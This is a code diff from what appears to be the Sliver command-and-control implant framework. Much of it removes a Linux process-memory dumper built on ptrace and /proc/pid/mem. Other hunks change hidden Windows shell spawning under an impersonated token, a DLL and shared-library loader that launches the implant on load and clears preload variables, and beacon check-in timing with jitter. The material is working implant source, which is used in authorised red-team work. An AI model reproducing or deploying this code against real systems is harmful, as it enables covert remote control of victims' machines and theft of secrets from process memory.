@@ -596,29 +595,3 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
return privInfo, integrity, processName, nil
}
// CurrentTokenOwner returns the current thread's token owner
func CurrentTokenOwner() (string, error) {
currToken := CurrentToken
// when the windows.Handle is zero (no impersonation), future method calls
// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
// actual handle
if currToken == 0 {
currToken = windows.GetCurrentProcessToken()
}
return TokenOwner(currToken)
}
// TokenOwner will resolve the primary token or thread owner of the given
// handle
func TokenOwner(hToken windows.Token) (string, error) {
tokenUser, err := hToken.GetTokenUser()
if err != nil {
return "", err
}
user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
if err != nil {
return "", err
}
return fmt.Sprintf(`%s\%s`, domain, user), err
}
+1 -321
View File
@@ -2,21 +2,9 @@
package procdump
import (
"bufio"
"fmt"
"io"
"os"
"regexp"
"runtime"
"strconv"
"strings"
"syscall"
)
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,28 +20,6 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// A struct to hold information about each region of memory
type MemoryRegion struct {
// Start address of the region
start uint64
// End address of the region
end uint64
/*
Flag that indicates if this region is mapped to a file
on disk. Currently, we are only dumping regions that
are not backed by a file on disk.
*/
isFile bool
// File name - only populated if isFile is true
fileName string
}
// A regex for each line of /proc/<PID>/maps
var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
// LinuxDump - Structure implementing the ProcessDump
// interface for linux processes
type LinuxDump struct {
@@ -65,293 +31,7 @@ func (d *LinuxDump) Data() []byte {
return d.data
}
/*
Map out the application's memory using /proc/<pid>/maps
Map format:
(1) (2) (3) (4) (5) (6) (7)
7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445 /usr/share/mime/mime.cache
1: Start address of the memory region
2: End address of the memory region
3: Permissions (rwx) and p/s (p=private, s=shared)
4: Offset (offset in bytes into the file, field 7): This is only relevant to files
5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
6: inode on the device
7: Filename (empty if the mapping is not a file)
*/
func parseMap(mapLine string) *MemoryRegion {
regionInformation := mapLineModel.FindStringSubmatch(mapLine)
if regionInformation == nil {
// No match
return nil
}
if strings.HasPrefix(regionInformation[3], "r") {
// This section of memory is readable, and we will return it
/*
There is a bug in how ptrace reads the vvar region of memory,
see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
The vvar region is for shared kernel variables
If this is vvar, then skip it so that we do not run into errors
due to it later
In testing, other regions reserved by the kernel proved problematic,
namely vdso and vsyscall. Those regions likely do not contain any
sensitive information, so they can be skipped.
*/
if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
return nil
}
memRegion := MemoryRegion{}
regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
if err != nil {
// Something is wrong with this region, discard this record
return nil
}
memRegion.start = regionStart
regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
if err != nil {
// Something is wrong with this region, discard this record
return nil
}
memRegion.end = regionEnd
if regionInformation[4] == "00:00" {
// Then this is not a file
memRegion.isFile = false
memRegion.fileName = ""
} else {
memRegion.isFile = true
memRegion.fileName = regionInformation[5]
}
return &memRegion
}
return nil
}
/*
Create a map of the process' memory from /proc/<PID>/maps
Return: a slice of MemoryRegions, number of bytes represented by the map
*/
func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
if err != nil {
// Could not open the map
return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
}
defer maps.Close()
var memorySize uint64 = 0
var completeMemoryMap []*MemoryRegion
buffer := bufio.NewReader(maps)
line, err := buffer.ReadString('\n')
// Keep reading until we hit an error
for err == nil {
memoryMapInfo := parseMap(strings.TrimSpace(line))
// Only concerned about regions not backed by a file on disk
if memoryMapInfo != nil && !memoryMapInfo.isFile {
completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
memorySize += memoryMapInfo.end - memoryMapInfo.start
}
// Read the next line
line, err = buffer.ReadString('\n')
}
// End of file is OK - anything else is not.
if err != nil && err != io.EOF {
return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
}
return completeMemoryMap, memorySize, nil
}
func checkPermissions() (bool, error) {
/*
Check to see if we are root.
According to the proc man page, we need root unless the process has the dumpable flag.
Unless it becomes necessary to check for the dumpable flag, we will keep things simple
and require root.
*/
if currentUID := os.Getuid(); currentUID != 0 {
return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
}
/*
Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
(dumping process memory does not work with a ptrace_scope value of 3)
Yama was merged in kernel 3.4
If reading the value fails, it might be because it is not there. Should not be a permissions
issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
*/
ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
if err != nil {
// Even if we get an error here, we should try to read process memory anyway.
return true, nil
}
if strings.TrimSpace(string(ptrace_scope)) == "3" {
return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
}
return true, nil
}
func isOldKernelVersion() bool {
kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
/*
/proc/sys/kernel/osrelease has the version number of the kernel
If it is less than 3.3, you can only read memory from the process by attaching
to it with ptrace
*/
kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
if err != nil {
/*
If this does not exist or is not readable, use the ptrace method
since that should work for all kernels (assuming we have the
correct permissions which we will check)
*/
return true
}
majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
if majorMinorKVer == nil {
// The kernel version did not match the expected format, use the ptrace method
return true
}
majorKVer, err := strconv.Atoi(majorMinorKVer[1])
if err != nil {
// Unable to determine kernel version so use the ptrace method to be safe
return true
}
if majorKVer > 3 {
// We can read directly from /proc/pid/mem on 4.x+ kernels
return false
} else if majorKVer == 3 {
minorKVer, err := strconv.Atoi(majorMinorKVer[2])
if err != nil {
// Unable to determine the minor kernel version, so use the ptrace method to be safe
return true
}
if minorKVer >= 3 {
// We can read directly from /proc/pid/mem starting with kernel 3.3
return false
} else {
return true
}
} else {
// If the kernel version is 2.x or lower, we have to use ptrace
return true
}
}
func dumpProcess(pid int32) (ProcessDump, error) {
res := &LinuxDump{}
usePTrace := isOldKernelVersion()
permissionsOK, err := checkPermissions()
if !permissionsOK || err != nil {
return res, err
}
processRegions, dumpSize, err := createMemoryMap(pid)
if err != nil {
return res, err
}
// Create a buffer to put the memory
res.data = make([]byte, dumpSize)
currentDumpOffset := 0
if usePTrace {
// Attach to the process using ptrace
proc, err := os.FindProcess(int(pid))
if err != nil {
// Then the process does not exist
return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
}
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err = syscall.PtraceAttach(int(pid))
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
}
_, err = proc.Wait()
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
}
// Read the memory, region by region
for _, region := range(processRegions) {
numberOfBytes := int(region.end - region.start)
bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
}
currentDumpOffset += bytesRead
}
// Do not forget to detach when we are done
// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
err = syscall.Kill(int(pid), syscall.SIGCONT)
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
}
err = syscall.PtraceDetach(int(pid))
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
}
} else {
// Open the memory "file"
processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
}
defer processMemory.Close()
for _, region := range(processRegions) {
/*
Figure out the size of the memory region to read so we know how big of
a slice to cut from the buffer
*/
numberOfBytes := int(region.end - region.start)
bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
if err != nil && err != io.EOF {
return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
}
currentDumpOffset += bytesRead
}
}
return res, nil
}
+1 -1
View File
@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
// getTokenOwner retrieves access token t owner account information.
func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
i, e := getInfo(t, syscall.TokenUser, 50)
i, e := getInfo(t, syscall.TokenOwner, 50)
if e != nil {
return nil, e
}
+10 -21
View File
@@ -26,7 +26,6 @@ import (
"log"
// {{end}}
"context"
"os/exec"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -45,73 +44,63 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
if enablePty {
return ptyShell(tunnelID, command)
}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
cmd := exec.Command(command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
cancel()
return nil, err
return nil
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
cancel()
return nil, err
return nil
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Cancel: cancel,
}, err
}
}
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
func ptyShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
cmd := exec.Command(command[0], command[1:]...)
term, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: term,
Stdin: term,
Cancel: cancel,
}, err
}
}
// GetSystemShellPath - Find bash or sh
+4 -17
View File
@@ -19,7 +19,6 @@ package shell
*/
import (
"context"
"io"
"os"
"os/exec"
@@ -31,24 +30,12 @@ type Shell struct {
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
Cancel context.CancelFunc
}
// Start - starts a command
func (s *Shell) Start() error {
return s.Command.Start()
}
// Wait - waits till the command finish
func (s *Shell) Wait() error {
return s.Command.Wait()
}
// Stop - stopping the command (syskill) using context cancel
func (s *Shell) Stop() {
if s.Cancel != nil {
s.Cancel()
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
}
func exists(path string) bool {
+6 -12
View File
@@ -26,7 +26,6 @@ import (
"log"
// {{end}}
"context"
"os/exec"
)
@@ -43,33 +42,29 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
cmd := exec.Command(command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
cancel()
return nil, err
return nil
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
cancel()
return nil, err
return nil
}
return &Shell{
@@ -77,8 +72,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Cancel: cancel,
}, nil
}
}
// GetSystemShellPath - Find bash or sh
+7 -26
View File
@@ -23,7 +23,6 @@ import (
"log"
// {{end}}
"context"
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
"os/exec"
@@ -62,46 +61,28 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Cancel: cancel,
}, err
}
}
+7 -12
View File
@@ -1,7 +1,6 @@
#include "sliver.h"
#ifdef __WIN32
#include <windows.h>
DWORD WINAPI Start()
{
@@ -19,13 +18,13 @@ BOOL WINAPI DllMain(
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
// {{if .Config.RunAtLoad}}
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
// {{end}}
}
break;
{
// {{if .Config.IsSharedLib}}
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
// {{end}}
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
@@ -47,9 +46,7 @@ static void init(int argc, char **argv, char **envp)
{
unsetenv("LD_PRELOAD");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
// {{end}}
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
@@ -60,9 +57,7 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
{
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
// {{end}}
}
#endif
+31 -36
View File
@@ -105,11 +105,25 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
for {
select {
default:
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}}
sessionStartup()
// {{end}}
abort := make(chan struct{})
connections := transports.StartConnectionLoop(c2Servers, abort)
for connection := range connections {
if connection == nil {
break
}
err := sessionMainLoop(connection)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Reconnect sleep: %s", reconnect)
// {{end}}
time.Sleep(reconnect)
}
case c := <-r:
switch c.Cmd {
case svc.Interrogate:
@@ -185,16 +199,7 @@ func main() {
// {{else}}
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}} ------- IsBeacon/IsSession -------
sessionStartup()
// {{end}}
// {{end}} ------- IsService -------
}
// {{if .Config.IsBeacon}}
func beaconStartup() {
// {{if .Config.Debug}}
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
// {{end}}
@@ -222,11 +227,9 @@ func beaconStartup() {
// {{end}}
time.Sleep(reconnect)
}
}
// {{else}}
// {{else}} ------- IsBeacon/IsSession -------
func sessionStartup() {
// {{if .Config.Debug}}
log.Printf("Running in session mode")
// {{end}}
@@ -251,9 +254,10 @@ func sessionStartup() {
// {{end}}
time.Sleep(reconnect)
}
}
// {{end}}
// {{end}}
// {{end}}
}
// {{if .Config.IsBeacon}}
func beaconMainLoop(beacon *transports.Beacon) error {
@@ -298,7 +302,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
NextCheckin: nextCheckin.UTC().Unix(),
}))
beacon.Close()
time.Sleep(time.Second)
@@ -307,23 +311,16 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// until all tasks complete (in success or failure), if a task handler blocks
// forever it will simply block this set of tasks instead of the entire beacon
errors := make(chan error)
shortCircuit := make(chan struct{})
for {
duration := beacon.Duration()
nextCheckin = time.Now().Add(duration)
go func() {
oldInterval := beacon.Interval()
err := beaconMain(beacon, nextCheckin)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] main error: %v", nextCheckin)
// {{end}}
errors <- err
} else if oldInterval != beacon.Interval() {
// The beacon's interval was modified so we need to short circuit
// the current sleep and tell the server when the next checkin will
// be based on the new interval.
shortCircuit <- struct{}{}
}
}()
@@ -334,8 +331,6 @@ func beaconMainLoop(beacon *transports.Beacon) error {
case <-errors:
return err
case <-time.After(duration):
case <-shortCircuit:
// Short circuit current duration with no error
}
}
return nil
@@ -360,7 +355,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
NextCheckin: int64(beacon.Duration().Seconds()),
NextCheckin: nextCheckin.UTC().Unix(),
}))
if err != nil {
// {{if .Config.Debug}}
@@ -519,12 +514,6 @@ func openSessionHandler(data []byte) {
// {{end}} -IsBeacon
func sessionMainLoop(connection *transports.Connection) error {
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
err := connection.Start()
if err != nil {
// {{if .Config.Debug}}
@@ -532,6 +521,12 @@ func sessionMainLoop(connection *transports.Connection) error {
// {{end}}
return err
}
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
+13 -7
View File
@@ -30,6 +30,8 @@ import (
"net/url"
"time"
"strconv"
// {{if .Config.MTLSc2Enabled}}
"crypto/tls"
@@ -50,10 +52,6 @@ import (
// {{end}}
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
"strconv"
// {{end}}
// {{if .Config.DNSc2Enabled}}
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
@@ -88,12 +86,20 @@ type Beacon struct {
// Interval - Interval between beacons
func (b *Beacon) Interval() int64 {
return GetInterval()
interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
if err != nil {
interval = int64(30 * time.Second)
}
return int64(interval)
}
// Jitter - Jitter between beacons
func (b *Beacon) Jitter() int64 {
return GetJitter()
jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
if err != nil {
jitter = int64(30 * time.Second)
}
return int64(jitter)
}
// Duration - Interval + random value <= Jitter
@@ -103,7 +109,7 @@ func (b *Beacon) Duration() time.Duration {
// {{end}}
jitterDuration := time.Duration(0)
if 0 < b.Jitter() {
jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
}
duration := time.Duration(b.Interval()) + jitterDuration
// {{if .Config.Debug}}
-91
View File
@@ -1,91 +0,0 @@
package transports
import (
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
c.removeAndCloseAllTunnels()
})
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
}
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
@@ -1,674 +0,0 @@
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Version 3, 29 June 2007
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section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
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